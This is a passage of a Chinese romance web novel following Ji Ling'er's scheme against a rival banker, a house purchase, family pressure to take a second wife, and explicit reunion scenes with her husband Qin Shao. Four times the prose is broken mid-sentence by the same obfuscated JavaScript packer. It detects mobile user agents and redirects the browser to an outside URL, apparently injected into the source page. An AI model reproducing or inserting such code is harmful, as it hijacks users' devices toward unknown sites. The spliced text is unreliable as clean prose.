伤敌八百自损一千的法子虽不善，但季灵儿看见他因羞愤而扭曲的脸，心中溢出的快意盖过恐惧，嘴角扬得更高，似笑非笑：“掌柜觉得以我如今身份，你拦得住我吗？” “你，你......”梁守正经她提醒终于想到身份一事，瞳孔骤缩，肉眼可见慌起来。 季灵儿脸上还挂着笑，眼神已冷下去：“说到这事，还得谢掌柜，不是你押着师父遗物逼我入绝境，还遇不上秦劭搭救，做不了秦家大少夫人，这么算着，我欠掌柜的不少人情呢。” 她频频提往事，梁守正没来由地心慌，他不怕她一个丫头片子，却不得不忌惮秦家，指着她道：“你今日到底来做什么？” 季灵儿坦然道：“叙叙旧，顺便正式告知掌柜一声，我会把属于师父的东西原原本本拿回来。” “你仗着秦家撑腰威胁我？” “是又如何？” ... “你这么同他说，岂非给他时间防备？” 隆昌票号后院，一位鬓发见白的老者听过季灵儿陈述，两道疏眉紧紧皱起。 季灵儿：“就是要唬得他紧张，他越坐立难安想防备，越容易露出破绽。” 老者凝望她片刻，叹气道：“还是你心思缜密，我年纪大心力逐渐不济，许多事反倒看不清了。” “您跟随师父多年，师父走后又张罗老伙计们重聚，经营这家票号，哪样不是费心费力的，没有您撑着，我想有心也无从着手，可千万别这么说。” “季家是我的东家，小姐是我看着长大的，剩最后一口气也得为她尽忠，这是本分......”季全在季家当差多年，谈起命苦的老东家总忍不住落泪悲愤：“只要能从那薄情寡义的畜生手里将家业夺回来，豁出我这条老命都行。” “全伯，该豁出命的是他梁守正，你日后还得继续替季家守家业，不兴说丧气话。”季灵儿握住他颤抖的手。 季全渐渐平静下来，将汇通票号近几月的情形一一同季灵儿说了，又问：“你可是要回来坐镇？” 季灵儿摇头：“我露面梁守正会注意到，暂时还由您带人主持大局，梁守正不屑将小作坊放眼里，正方便咱们暗中筹划。” 为转移梁守正的注意，季灵儿没在隆昌票号久留，悄声从后门离开，转到正街后，反倒大摇大摆去了街头另一家广兴票号。 广兴票号乃秦家产业，她入內亮了身份，被伙计恭敬迎到二楼雅间，捡上好的茶点奉上。 季灵儿慢条斯理品着，拖延一炷香，才拿了兑现的银两离开。 梁守正得了伙计报回来的消息，果真坐不住，立即吩咐账房清查账目，盘点所有能被人拿住把柄的疏漏，又派人日夜盯梢广兴票号动静。 走完这一遭，季灵儿径直去了清心庵，在禅房陪着明尽师太打坐到傍晚。 对于她破天荒的安分，明尽颇为稀奇：“今日又是为何躲回来？” 暮色透过窗棂洒进来，季灵儿捻一抹琥珀色在指尖，“才没有躲，我是专门回来向师太学习修行的。” 明尽：“修行需心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583306|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静，你呼吸不稳，心神不宁，无半分清净相，可见人坐在这间屋子，思绪远至九霄外。” “所以才要学嘛。”季灵儿卖乖道，“清音说打坐能通往无人之境，我坐了一日也没摸出门道，师太教教我，待我学成便来侍奉佛祖。” 明尽没理她，起身推开木窗，任山风灌入，拂乱香炉里笔直上升的青烟。 庵中姑子们有晚课习惯，季灵儿不耐烦听经，从前在庵中住时，总趁这时候到后山采野果子，坐在石上晃着脚吃，听凉风穿林而过，钟声悠悠回荡，坐够了，拿衣服兜满野果子回去给大伙分。 今日她挪了个蒲团蹭到清音旁边，学着她的模样，双手合十闭目，不会诵经便无声张合嘴唇，把表面功夫做得十足。 清音悄悄瞥她一眼，又快速合上，低声道：“你有模有样咕哝什么呢？” “阿弥陀佛啊，我只会这个。” 季灵儿在庵中打了两日坐，认真到清音和姑子们以为她真要出家修行，她下山了。 临行前还是没忍住问了明尽：“师太，那位帮我进商行学生意的人，是不是秦劭？” 明尽：“你该直接问疑心之人。” 明尽乃修行之人，忌讳口舌业障，问不出答案在季灵儿意料内，不过问出此话之时，她心中已有答案。 秦劭，八成就是三年前在汇通票号门口救下她，帮她拿回包袱，又命人将她送往清心庵安置的人，也是他素未谋面的“义父”。 有玉秀的话和梁守正的反应作旁证，想通此事很容易。当猜测一项项被证实，她的心反而一寸寸沁入寒凉，窒息，冰冷，比沉水时有过之无不及。 两日来她逼自己冷静，便是为了弄清楚为何会如此。 最初是有欣喜的，因为二人缘分早定欣喜。 渐渐地，她开始不安，若是单纯的缘分秦劭大可以告诉自己，他选择隐瞒，是有不可说的隐情，还是他本就另有所图？连同他表现出的温柔情意，也是算计中的一环？ 转念又想，她一个孤女，没什么值得被算计的，亦相信秦劭非满腹心计之人。 他不说，只是因为没必要。 他擅长掌控，自负有把握，有能力处理好一切。 作为弟子，季灵儿可以接受先生的安排，即便偶尔调皮犯错，故意作对，心里是愿意守他的规矩的。 然而换个身份，捧着一颗动了情意的心，她无法接受这样的“没必要”。 回看自己在一场骗局里缓缓捧出来的真心，季灵儿只觉得悲哀，她先骗他，于是连指责他的立场都没有，还险些把命搭进去。 委屈地酸了鼻尖，汩汩泪水不能倒流，她捧出去的真心也收不回，只能眼睁睁看着心被淹没。 无助极了。 从孤山下来，季灵儿换了身不张扬的暗花裙，来到曹县永平巷一处宅子前，门上的黑漆剥落许多，露出里头朽坏的木纹，铜环锈蚀，门楣上的瓦当也缺了一角。 跟在身后的牙人见她一直端量门面，讨好道：“夫人别嫌破，这宅子价便宜，地契也干净。” 季灵儿不置可否，只道：“进去看看。” 牙人掏出钥匙，来回拧几下才打开生锈门锁，门吱呀一声敞开，扑面是积年未扫的尘味，院中荒草没膝，一只瘦弱的花猫被惊得窜出，攀着矮树从房顶逃走了。 60. 师娘 院子不大，三间不算大的正房，东西各两间厢房，正房屋顶和窗户有几处明显新补的痕迹。 “这宅子空了有小半年了。”牙人搓着手，“原主急着出手，只要八十两。” 季灵儿踱步到近院墙处，抬头看了看爬满墙头的蔷薇藤，不紧不慢开口：“去年有桩轰动全县的命案，是发生在这处吧。” 这家男人外出多年，突然归家竟撞见妻子与人私通，动怒杀之，拉扯中反被情夫拿花锄砸破脑袋毙命。 死里逃生的两人盘算，男人多年不归，死了亦无人知晓，趁夜色将尸首运出城掩埋，神不知鬼不觉。岂料男人有顺路同归的邻村友人，几日后按约定来寻人，从女人慌张神色和支吾矛盾的言辞里察觉蹊跷，报官揭开了真相。 此事不算隐秘，牙人有防备，讪笑道：“夫人好记性，此地生过命案不假，但死者有肯为其奔波洗冤的挚友，又得青天老爷明察真相，将恶人伏法，九泉下定能安息，我们收空宅时，特意请高僧做过法事，驱邪净宅，断不会因此生出怨祟缠绵，夫人可放心。” 纵他说得天花乱坠，凶宅难易主是实情，这宅子破旧又不在闹市，八十两算不得便宜，无非是看她是年轻女子，以为好说话。 “那处，新补的瓦片边缘参差，显然只是仓促压住破损，待入夏一场大雨便要漏水的......还有这柱子，遭虫蛀已深，若不换早晚要倾塌......”季灵儿正色指着院中几处，不耐烦地摇头，“我买下后光修缮又得耗费一大笔，零零总总加起来，倒不如直接买先前那位牙人大哥推荐的临街小院划算。” 牙人见不好糊弄，忙赔笑让价。 “你做生意不诚心，罢了罢了，我还是再看看他处。”季灵儿说着转身便走。 牙人疾步跟上：“夫人说个心里价，我尽力凑合。” 季灵儿止步，袖中手指轻叩掌心，道：“四十两。” 牙人嘴角一抽，“夫人同我说笑呢。” 季灵儿笑：“实话同你说吧，我家男人就是干营造行当的，宅子好赖看一眼便知，我花价高回头他回来该叨叨不休了，没得花钱找不痛快，四十两若成以后有生意还介绍给你，若不成，我另寻别家便是，咱不耽误彼此功夫。” 牙人信了她言之凿凿，守着心里底价又同她拉扯几番，终是抬到四十五两，又添几贯钱。 银货两讫，季灵儿揣好房契地契折回吉安。 季灵儿出门前寻的借口是去清心庵斋戒，祈祝秦劭此行顺畅，老夫人颇感欣慰，知她回府，特意嘱咐厨房添菜为她接风。 老夫人：“才去几日人竟清减一圈，可见是累着了，敞开胃口多吃些。” 季灵儿笑得温顺：“让祖母挂心了，斋戒虽清苦，但身子轻省，每日诵经礼佛听师太开示，心跟着静下来，想明白不少事呢。” 老夫人又问起庵中趣事，季灵儿拣些素斋茶会，香客往来的话头应付过去。 看她比往日沉静许多，老夫人悬着的心总算安稳几分，想她根底良善，多加教引早晚能担起主母的担子，“后日云家儿子娶亲，给咱府上递了请帖，你既回来，一道去喝杯喜酒。” “云家？” 老夫人以为她因失忆不记得，解释道：“是你二婶娘的娘家，与咱们府上素来交好，他家最小的衡哥是宗劭弟子，你识得的。” 季灵儿装得不识，懵懂问：“是这位衡哥娶亲吗？” 老夫人摇头：“衡哥尚未及冠，是他上头的兄长，云家二哥。” ... 大户人家婚娶的排场季灵儿从前只在街边看热闹见过，偶尔还凑上去争个撒路的喜钱，替嫁那次眼前被盖头遮挡，拜过堂送进屋便再未得见。 头一次正经赴宴，看什么都带着新奇。 云府内外院子张灯结彩，席上茶盏果盘皆用银鎏金托架承着，丫鬟个个身着簇新绫罗裙，鬓角簪一朵颜色鲜丽的珠花，往来穿梭如蝶，奉上茶点笑语盈盈道几句吉祥话，只瞧着便心情愉悦。 宾客尚未到齐，秦家赴宴的女眷先行去内苑，季灵儿随老夫人被丫鬟引至花厅，云家老太太早已候在堂上，见二人进来，笑着站起身，携手寒暄：“可算盼来了，方才还在念叨。” 目光落在季灵儿身上时如初见时一般慈和：“宗劭媳妇清瘦了些，瞅着愈发灵秀沉静，真真是个可人儿，我们府里姑娘媳妇见了都要自叹弗如呢，秦家嫂子好福气。” 秦家风闻闹得鼎沸，云家老太太有意捧季灵儿几句，为她撑体面亦是为老夫人挣脸面，老夫人领情，回笑谦辞几句。 季灵儿随着长辈们的话颔首见礼，垂眸浅笑时簪上流苏在侧脸晃出细碎流光，分毫不错落入旁边人眼中。 云衡自听说秦家之事心一直悬着，几乎确认替嫁入秦家的季氏是她。她不是师父义女，不是情人，而是妻子，拜过堂入过洞房的妻子。 他甚至该唤她一声师娘。 他小心翼翼放在心上，想与之白头的女子，竟是他师娘！ 云衡无一日不受剜心折磨，可听说她险些丧命，多日不曾在叠翠园露面，又恨不得冲到秦府确认她情况。 今日他随父亲在外招呼宾客，知晓秦家来人，特意寻了由头到祖母处，只为看一眼她好不好。 云衡知晓季灵儿女子身份，见她女子打扮是头一遭。男装的她纵然俊秀，却掩盖了太多柔美，眼下一袭霞色云锦长裙勾勒出她纤秾合度的身姿，侧面看着尤其显兀轮廓，侧脸至脖颈的线条如脂如玉，被流光映得莹润生辉。 这一眼看得云衡似着了魔，三魂七魄被生生剥离，投入烈焰灼烧，目光锁在她身上再未移开。 直至她侧头看过来，挂着温婉笑意朝他致意。 “衡哥。”云家老太太出言唤他，“莫要失了礼数。” 云衡猛然醒过神，忙揖礼致歉。 “老夫人恕罪，因先前师父提过......”云衡喉咙发紧，悄悄缓一口气继续道：“提过师娘遇害一事，晚辈和同门心中挂怀，故冒昧失了礼。” 作为了结彼此的挚友，季灵儿明白他停顿里藏的隐忍，再听他称呼师娘，唇畔弧度滞涩一瞬，心中说不出的怪异。 她尚在“失忆”，未免露馅，很快克制住情绪，礼貌回道：“我身子已无恙，有劳挂念。” 话里话外透着疏离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590291|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的客气，云衡以为她避嫌，遂不多说什么，应几句长辈们的关怀告退出去。 云府内院，各家女眷笑语盈盈，姚氏与云氏同席而坐，身边另有几位相熟的夫人，揣着心思将话题引向秦家风波上，状似无意打听季灵儿的来历。 云氏抿茶不语，姚氏在出门前得了老夫人再三敲打，不敢随意开口，只道：“凭什么来历也比不过在座各家，不值费口舌。” 她虽未直说，轻慢语气足够表明态度，有心自听得明白。 “无论什么来历，能入秦家门便是福分了，旁人想求还求不来呢。”问话的夫人也笑起来，说着朝旁边递去一道意味深长的眼风。 姚氏顺着看去，那桌坐着柳家夫人和未出阁的女儿。 柳家小门户出身，到这一代家主才发迹，他家想同秦家攀亲已非一日，在吉安算不得秘密。柳家门户一般，但长子年轻有为，刚在朝中谋了个六品官职，秦家老夫人觉得其家风严谨，故而她家姑娘也在秦家择媳的考量之列。 若非巡抚夫人横插一脚，说亲给秦劭的极有可能是柳家姑娘。 秦柳两家在儿女亲事上交涉虽不多，终是有过几番试探，柳家姑娘对这门亲事存着念想。原本秦家同宋家结亲，她熄了心思凭父母再寻人家，可宋家悔婚，换了个不知来路的女子，心头那点灰烬又悄然复燃。 柳夫人同秦家几位夫人不相熟，故托人代为探口风，欲试试秦家态度。 姚氏听那夫人咬耳朵诉了原委，恨不得当场笑出声来，强端着架子道：“你不知道，虽说闹了乌龙，可宗劭和我家老夫人都很认这位媳妇，与柳家恐是有缘无分了。” 那夫人与她相熟，怎会听不明白话里阴阳，接道：“柳家想入秦家门，自是不论名分高低的，正妻轮不着，争个平妻侧室想来也愿意，妹妹若能替她们说上句话，算是得份人情，他家儿子在京中做官，日后万一需要照应好说话不是？” 姚氏对后宅妇人的心思门清，心中讥笑，柳家哪是不在乎名分，分明是算准季灵儿出身低微，无娘家倚仗，在秦家立足又不稳，只要自家姑娘能进府门，娘家从旁帮衬出力，将来有的是机会。 她端起茶盏轻啜一口，掩住唇边冷笑，顿了顿，故作为难道：“我可做不了大房的主，没得又遭训斥......不过嫂子既张了口，我没有驳你面子的道理，这样罢......我回去寻个由头提上一句，成不成便不能保证了。” “能递句话已是情分，无论成与不成，柳家都要备厚礼谢你哩！” ... 次日请安时，姚氏故意在老夫人跟前提起柳家儿子近来在京中如何得势，顺嘴道：“若当初真定了柳家姑娘，日后宗劭在京中办事，也多几分照应呢。” 老夫人睨她一眼：“姻缘天定，且咱们与柳家无媒无聘，何来的当初一说。” “是是是，媳妇说错话，”姚氏应声附和，转道：“前事不提，可昨日柳家托人来问，言语间颇有意将姑娘许给宗劭做平妻，托我问您老人家的意思，您看这事……” 姚氏说完，故意看向坐在老夫人跟前矮凳上的季灵儿，对方低垂着眼，瞧不出变化。 61. 贪欲 “宗劭刚娶妻便往房中添人，像什么话。” 老夫人语气听似严厉，细察很值得品味。 她对季灵儿的回护，爱屋及乌疼惜孙媳有之，更多是顾及秦家颜面，不管出自何因，人他们秦家娶了，要了，认了，且照旧给尊贵和体面，外人挑不出错还要夸两句秦家仁义宽厚。 至于落得一位于秦家无任何助益的孙媳，老夫人心中是有遗憾的。 姚氏拿捏着这层心思才敢张口提，并特意挑季灵儿在场时候。 她不应，或是为此顶撞长辈，会落个善妒名声。她若应下，往后大房院里且有好戏瞧。 听了老夫人的回话，笑吟吟将话头抛向季灵儿：“宗劭媳妇，你怎么说？” 堂中各房女眷围坐，无不揣着看热闹的心思等她开口。 季灵儿罔顾旁人，单抬眼望向方淑凤，她很好奇这位婆母作何反应。 方淑凤坐得如同入定，任何喧嚣扰不动分毫，撞上她目光的刹那，眼波才泛起微澜，脸上挂起笑，语气一如既往温和：“你们夫妻间的事，是该听听你的意思。” 说是听她意思，实际是默认了姚氏的提议。 秦劭眉眼生的有六七分随母亲，只轮廓多了男子的硬朗凌厉，季灵儿看着方淑凤，恍惚看见他的影子，心中忽地清明。 嫁入秦家后，她总觉得秦劭有两副面孔，一面是人前的冷峻严厉，一面是二人独处时的温柔呵护。 眼下终于明白，他内里是秦家一脉相承的冷漠权衡，在她面前显露温柔和尊重不过因为她是他的妻，同样位置上坐着的若是旁人，他亦会这般相待，尊重，维护，不多情，也不薄情。 季灵儿抿唇咽下一口苦涩，起身朝老夫人端端正正福了一礼，眸光清定：“夫君肩上担子重，确实该有个能为他分忧之人。于内能持家理事，帮您和婆母分忧，于外能有娘家助益，替他周旋打点商行和生意，如此才能保秦家家业兴旺，因此，我对四婶娘提议之事并无异议。” 她应的坦然，回话说到老夫人和方淑凤心坎上，最令众人意外的是，她话中听不出半分委屈情绪，此事搁她们任意一人身上，都做不到此般从容。 老夫人不敢确认，又问一遍：“你当真愿意？” 季灵儿点头。 她神情真挚，老夫人琢磨，许是她身份拆穿，知道自己在秦家无可依傍，又记不起前事，是以多顺从长辈心意，为的是在秦家挣一处安身立命之地。 女子嫁人入旁人家门，为自己谋划无可厚非。 “你能如此通透，实属难得，不过这些都是咱们关起门的闲话，议亲纳妾都是大事，不急于决定。”老夫人伸手将她重新拉到身边坐下，“等宗劭回来问过，他点头了再商议不迟。” 孙儿爱重她，突然往房中送人未必肯依。 季灵儿明白她的顾虑，又觉实在多余担忧，遂道：“夫君一向以家族为重，定能明白祖母的苦心，我也会从旁劝解。” 老夫人闻言欣慰颔首，轻轻拍着她的手背，语重心长道：“你如此明事理，懂得退让周全，我们秦家自不会薄待你，凡有不痛快的尽管来告诉祖母，祖母替你做主。” 方淑凤的肩膀不可察地松懈下来。 姚氏则狐疑地打量季灵儿，恨不能看透她憋什么心思。 ... 因季灵儿在此事上表现出的贤惠识大体，老夫人欣然将人带在跟前教导，指点她管家理事之道。 春日百花竞相绽放，接连有官眷或富家女眷开设赏花宴，老夫人不喜这类应酬，便让方淑凤携季灵儿赴宴，带她见世面，引荐给城中贵眷。 季灵儿起初新奇，两场下来摸透门道，赏花宴并非谁家都能办，一要有身份地位，能号召城中贵眷齐聚，二要有拿得出手的园林景致，容来客观览游赏，最好再有些珍稀花木压轴，或名伶助兴，以显主人家的体面与豪奢。 美其名曰赏花，实际真来赏花的少，人人脸上挂着一个模子刻出来的笑，寒暄攀谈，唇舌机锋里全是较劲，比穿戴排场，比子女姻缘，比夫家前程。 季灵儿没她们那般攀比心思，实打实赏了花，逛了两家花园景致，其中布局各具匠心，不过她更在意的，是造屋建瓴的用料，假山盆景的选石来源，一项项推算成本高低，采买渠道，最后得出的银两数目令人咂舌。 逛的哪是园子，分明是金山银海。 逛着逛着，想起秦家那处依山建成别院来，清静，幽雅，胜在天然，看似无半分奢靡，处处透着贵不可言的巧思，单那一池引自山间的温泉，耗费银两就足够抵寻常人家几辈子开销。 她做梦都没敢想这辈子能享受如此富贵，怎会不贪恋呢。 何况在富贵中，还有一位卓绝男子给的温存。 她贪，太贪了。 若换作旁人，拿她这番遭遇诉苦，说受了蒙骗气愤难平，她大约会给个白眼，然后不走心地劝对方知足常乐。 富贵人家拔根毛都比常人整副身家丰厚，白捡泼天富贵不纵情享受，偏要争一口虚气，不是痴傻便是吃饱撑的。 季灵儿承认自己吃饱了撑的，借口饭后散心，又来到秦家别院。 上次离开，秦劭说过她随时可来，守园的小厮亦得了吩咐，恭敬迎她入内。 春风天赋神奇，使得人间日日焕新色，枝头新绿叠着旧翠，杏花不见踪迹，反是粉白桃夭开遍，落英缤纷，碎锦般铺满小径，小径两旁，还有多丛不知名的小花摇曳，淡紫，浅蓝，娇红，鹅黄，缤纷错落。 再度漫步园中，季灵儿才知此处不仅有洒扫修护的家仆，还有随时等候差使的丫鬟，那日她来未见，是秦劭特意遣开了。 也是从丫鬟口中得知，这园子是有名字的，秦劭取的，唤作“德馨园”。 “平日会有家中人来这里吗？”季灵儿问。 丫鬟道：“此处是百年前一位官员修建的别院，后几经易主荒废多年，大爷买下后请能工巧匠重修，方才恢复旧貌又添新景，算是大爷的私产，非大爷相邀，府中其他爷们夫人的不会轻易踏足。” 季灵儿听了，重新端量起她，偏头问：“你了解细致，想是很受大爷器重，专门派到这里伺候的？” 一方面，园中无旁人来，秦劭亦不会常待，在此值守做事不必日日看主子脸色，可谓清闲。另一方面，金银堆砌的园子，必得用心看顾，打理起来油水颇丰，非心腹之人不能胜任。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593445|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “蒙大爷不弃奴婢粗笨。”丫鬟没反驳，答话亦谦卑得体。 “好地方。”季灵儿会意轻笑。 是个养美娇娘的好地方。 走回栖云阁，木窗半开，琉璃屏风折射日光，在氤氲热气中斑斓出一道浅虹，那几个日夜的疯狂场面不由分说浮现眼前，催生出私密悸动，蚂蚁搬家似的在肌肤上爬行，直往毛孔深处钻。 原来她不仅贪心贪财，还贪嘴，贪他给的滋味。 渴望和想念一起成形时，季灵儿有些后悔来了。 丫鬟见她驻足看着汤池出神，问：“少夫人要用汤浴吗？奴婢去准备。” 张口想拒绝，舌头却不听使唤。 “好。”她说。 温暖泉水包裹全身，季灵儿忍不住发出一声满足的喟叹，紧绷的肌肤缓缓松弛，眼皮倒沉下来，倚靠池壁阖眼，意识坠入一片暖雾迷蒙的虚空。 琉璃屏风模糊出现在后面的身影，脚步声渐近，季灵儿只以为是丫鬟送茶点，并未睁眼，轻声道：“放着吧，不许进来。” 半晌没有动静。 水光映着绯红梨颊，凝脂香肩露在水面上，如娇花浮于春汤，发丝湿漉漉贴在颈间。水下看不真切，却明显看到探向腿间的藕臂轻震水波，涟漪荡开，有低吟自抿紧的唇齿溢出，尾音蜷曲带颤，仙乐般撩人，又很快弥散。 秦劭得信赶来，见到的便是这么一幅醉人光景，水珠勾着饱含欲望的目光，缓缓滑下天鹅颈线，在锁骨凹陷处停留须臾，因动作波动，顺着起伏的弧度滑入汤池。 听到解衣带扣的轻响，季灵儿猛然惊醒，越过雾气对上深邃眸光，抱臂遮掩不够，又往水下蜷缩几寸，只露个脑袋在水面。 若可以，她想整个钻水里。 “你，你怎么回来了？” 昨日陪老夫人时听传信说他要三日才归，怎的今日便到了眼前？ 要知他今日回来，她才不会往这里来，更不会泡在汤池里情不自禁......这模样跟直白告诉他自己心思有何区别。 臊的她浑身温度比池水还烫。 秦劭不答，利索除去衣袍，步入池中。 季灵儿尚未反应，人已被困在池壁和胸膛之间。他身上尚有寒意，激起她一身战栗。 “想我了？” 他好像在问，又像是笃定的陈述。 季灵儿赧然不敢抬眼，知道自己眼下情形，开口说什么都会泄露难堪，索性抿唇不语。 秦劭从水下捉住柔荑，掌心覆着她手背，修长手指钻入她指缝，带着她循水纹滑向心口。 那里正跳得慌乱。 “心跳得这样急，骗得了谁？” “......” 他指尖稍一用力，她便轻颤着仰起颈，喉间溢出一声短促的呜咽，眉眼间的羞怯藏无可藏，如数入了他眼底。 “还想继续装不记得我？”低沉嗓音带着笑意碾过她耳畔。 “骗你如何，我是以其人之道还治其人.......唔！” 话音未落，唇已被衔住，吞下所有欲说还休的嗔怨，呼吸一寸寸被攫取，沉入幽深无底的漩涡，唯余水光潋滟，暗涌不息。 62. [锁] [此章节已锁] 万顷春波一时起，荡漾无度，水涛拍岸。 秦劭听府中传信说她替自己张罗娶平妻，心中愤然，顾不得在驿站歇脚，连夜快马回来，得知她独往别院，更确信她装失忆诓骗。 他心中是有气的。 可见到她那般行状，又恼不起来了。 存着给她吃些教训的心思，没有像往常那样周全伺候她。 小姑娘不乐意，故意同他作对，受了罪，心疼的还是他。 秦劭无奈，只抱着，任她付在肩头发泄不满。 鼻尖怜惜蹭着她侧脸，质问软成调侃：“何时添了做媒的喜好？” 两人尚未分离，他这话听在季灵儿耳中，像极了威胁。 虚弱地掩饰：“做媒的是姚氏，长辈们都有这意思。” “哦，”秦劭拖着长音，故意动了动下身，她顿时轻颤，冷不丁溢出一声呻吟，颤栗掐他臂膀。 “那你的意思呢？”他追问。 季灵儿没打算瞒他，但绝不是在这种情形下。 “你放我下来咱们再聊。” 秦劭收紧臂膀，道：“放下你还能好好聊吗？” “......” 被猜中心思的人儿不语。 他又噙她耳垂，低笑声震在耳骨：“继续聊，还是——继续做？” 根据季灵儿的经验，做完难有精力聊正事，心一横，决定先发制人：“为什么不一早拆穿我的身份？耍着我好玩吗？” 秦劭被指责地一愣，诚实道：“没有耍你，我在等你坦白。” 季灵儿：“哼，是等我坦白还是看我一步一步走进你的陷阱？” “你为何会如此想？”秦劭茫然看向她。 “知道我不是宋芮宁装不知情，明明救过我却从不提起，看我忐忑，看我一点点对你动心，甚至算准我会主动坦白，一切都在你掌控之中，你很得意吧？”季灵儿一口气发泄积攒多日的情绪，末了讥讽道：“唯一算漏的，是我没感激涕零谢你救命之恩吧，义父！” “......我并未如此想。”秦劭想过她会耍性子，却没料到反应这般激烈，且不给他开口的余地，一句接一句往他心上扎。 情绪一物，越宣泄越往脑袋上涌，颇有冲破天灵盖涌之势，对方反驳会火上浇油，缄默则坐实戳中心事，根本遏制不住。 季灵儿直勾勾瞪他：“我是不是应该为三年前的救命之恩和这一年多的师徒之情感激涕零哭一场，全了你的算无遗策？” 秦劭无奈，用被逼至一隅的冷静捋清头绪，找到问题的根本，放轻语气道：“我怕贸然戳破你不知如何自处，更怕你赌气离开......灵儿，我想留你在身边。” 肺腑之言错了时机亦是徒劳。 季灵儿对他眼中深不见底的情愫视而不见，“我宁愿你一开始拆穿，好过现在这样，让我觉得自己像个每一步都走在你棋局上的傻子。” 面对她的声声控诉，秦劭心痛不已：“抱歉，是我没顾及你的感受，以后不会了。” “没有以后。”未免心软，季灵儿别过脸不看他。 “什么？” “我同你，没有以后。” 她眼尾猩红，声音里待在哭腔，怄气的模样再明显不过，秦劭额角抵她眉心，哑着嗓子哄慰：“乖，不说气话好不好。” “你救过我，帮过我，教过我，我感激你，但你戏弄我的真心，我讨厌你！” 季灵儿越说越激动，张口咬在侧颈上，恨不得浑身使力气。 是以，另一处也愈发紧密地咬着他，热度贲张，几欲撑破。 她对他，分明是喜欢的，渴望的。 二人皆感受到变化，倏然止了话，无人敢动作，交错的呼吸粗重而急促，未竟的欲念在其中无声对峙。 “继续吗？”秦劭先开口，隐忍破出唇齿。 “随你，”季灵儿仍是嘴硬，“反正不差这一次。” “一次可不够。” 掠夺的吻伴着话音落下来，不给她反悔的余地。 哗啦啦的水声冲碎呻吟。 一叶扁舟载着千钧情愫，在无常的浪潮里颠簸，浮沉，任潮水一波波席卷身心。 她紧紧攀在结实肩膀上，如握危崖。 有他托底，断不会让她坠落，季灵儿不喜这种被掌控，必须紧紧依附他的感觉。 可他们又是合拍的，连呼吸和心跳的节奏都趋同，犹如醇醪入喉，灼烧至肺腑的滋味虽辣，但醉人，勾人上瘾。 明尽师太从前的话或许戏言，她贪欲太盛。 终于，葱白指尖无力抓挠，认命地垂于肩胛骨处。 “秦劭......” 红绸招展的二楼雅室，季灵儿在意乱情迷中唤他。 这是头一次，她当面唤他名字。 想是真累了。 秦劭缓缓退出，环抱她躺着，听她往下说。 季灵儿喃喃唤了几遍，似才找回意识，接着说：“我真的讨厌你。” 讨厌你以这种方式让我动心。 泪水滑进唇角，满腔咸涩的甜，一如这场甘之如饴的缠绵。 ... 秦劭去鲁地这趟收效不错，同鲁商达成契约，海运交由他们，河东商行控制陆路，共享辽南货物向内出售的生意。 契约签订，后续跟进，商路布局调整，颇多事宜需要商榷安排，秦劭又恢复忙碌，日日早出晚归，几乎没怎么和清醒的季灵儿打过照面。 偶尔几次他回府时她未歇下，二人默契不提从前之事，安静聊几句闲话，顺其自然亲昵一番，相拥入眠。 小姑娘太乖顺，秦劭反而不安。 这日沐浴后见她还在外间忙碌白日课业，轻步走过去将人抱在膝上，随口找个话题：“最近园中可有什么新鲜事？” 季灵儿摇头。 想了想，又说：“听姚当家说端阳前后会给我们安排铺子代管？” “是，纸上谈兵最终要落到实处见真章。” “据何标准安排呢？” 秦劭看透她的小心思，笑问：“有想法？” 想法她自然有，照往常定然会直截了当道出，磨着他徇私，可眼下她不想再欠他更多，那样只会更舍不掉。 遂忽闪着躲开视线：“没有，随口问问。” “有件事我想了许久不敢擅断，想问你意思。”人在怀中，秦劭却愈发觉得捕捉不住，须臾，决定提前道出想法，“宋家事了，该给你本来名分。是重拟一份婚书，择吉日摆祭坛供于祠堂，正式敬告列祖列宗你是我秦劭之妻。还是办喜宴，我再娶你一次，你喜欢哪种？” 季灵儿承认，他这般态度很令她心软，但她不想彻底失去退路，板起脸道：“在别院时，我以为同你说清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599150|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 